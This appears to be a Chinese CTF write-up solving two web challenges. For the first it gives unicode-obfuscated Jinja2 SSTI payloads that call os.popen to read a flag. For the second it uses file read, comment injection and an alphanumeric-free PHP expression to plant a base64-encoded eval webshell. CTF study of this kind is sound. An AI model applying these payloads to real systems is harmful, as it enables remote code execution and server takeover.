7.1
[安洵杯 2020]Normal SSTI
过滤{{}} [] config
和一系列常规的字符串
lipsum|attr("__globals__").get("os").popen("ls").read()
用{%print()%}
+unicode编码绕过
构造
lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f") # 获取__globals__
lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074") # 获取get方法
lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073") # 获取os模块
lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e") # 获取popen函数
lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("\u0072\u0065\u0061\u0064")() # 读取flag
[TQLCTF 2022]simple_bypass
get_pic.php?image=img/haokangde.png
发现任意文件读取漏洞读取index.php
源码有点乱,截取有用的部分
<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass']))
{ $hash_user = md5($_POST['user']);
$hash_pass = 'zsf'.md5($_POST['pass']);
if(isset($_POST['punctuation']))
{//filter
if (strlen($_POST['user']) > 6)
{
echo("<script>alert('Username is too long!');</script>");
}
elseif(strlen($_POST['website']) > 25)
{
echo("<script>alert('Website is too long!');</script>");
}
elseif(strlen($_POST['punctuation']) > 1000)
{
echo("<script>alert('Punctuation is too long!');</script>");
}
else{
if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0)
{
if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0)
{
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
$template = file_get_contents('./template.html');
$content = str_replace("__USER__", $_POST['user'], $template);
$content = str_replace("__PASS__", $hash_pass, $content);
$content = str_replace("__WEBSITE__", $_POST['website'], $content);
$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
file_put_contents('sandbox/'.$hash_user.'.php', $content); echo("<script>alert('Successed!');</script>"); }
else
{
echo("<script>alert('Invalid chars in website!');</script>");
}
}
else
{
echo("<script>alert('Invalid chars in username!');</script>");
}
}
}
else{
setcookie("user", $_POST['user'], time()+3600); setcookie("pass", $hash_pass, time()+3600);
Header("Location:sandbox/$hash_user.php");
}
}
?>
重点关注file_put_contents()
里面部分内容可以自定义,我们继续读取一下template.html
现在思路是明确的,注册一个用户,写入shell
看一下过滤
if (strlen($_POST['user']) > 6)
elseif(strlen($_POST['website']) > 25)
elseif(strlen($_POST['punctuation']) > 1000)
if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0)
if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0)
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
对user
和website
的限制长度
没办法在传入的内容中构造<?php
,只能使用原有的
<?php
error_reporting(0);
$user = ((string)__USER__);
$pass = ((string)__PASS__);
if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
echo($_COOKIE['user']);
}
else{
die("<script>alert('Permission denied!');</script>");
}
原有的代码
接下来找到\__USER__
,\__WEBSITE__
,\__PUNC__
的位置
根据这个结构,先尝试一下构造user=/*
punctuation=*/0; shell/**
注释掉中间的代码,然后构造一条无数字字母的shell
$_=(_/_._)[___];$__=++$_;$_____=++$_.$__;++$_/++$_;$_=_.$_____.=++$_.++$_;$$_[_]($$_[__],$$_[___])
/* POST
&_=file_put_contents&__=php://filter/convert.base64-decode/resource=shell.php&___=PD9waHAgZXZhbCgkX0dFVFsicGFzcyJdKTs=
*/
拿到shell即可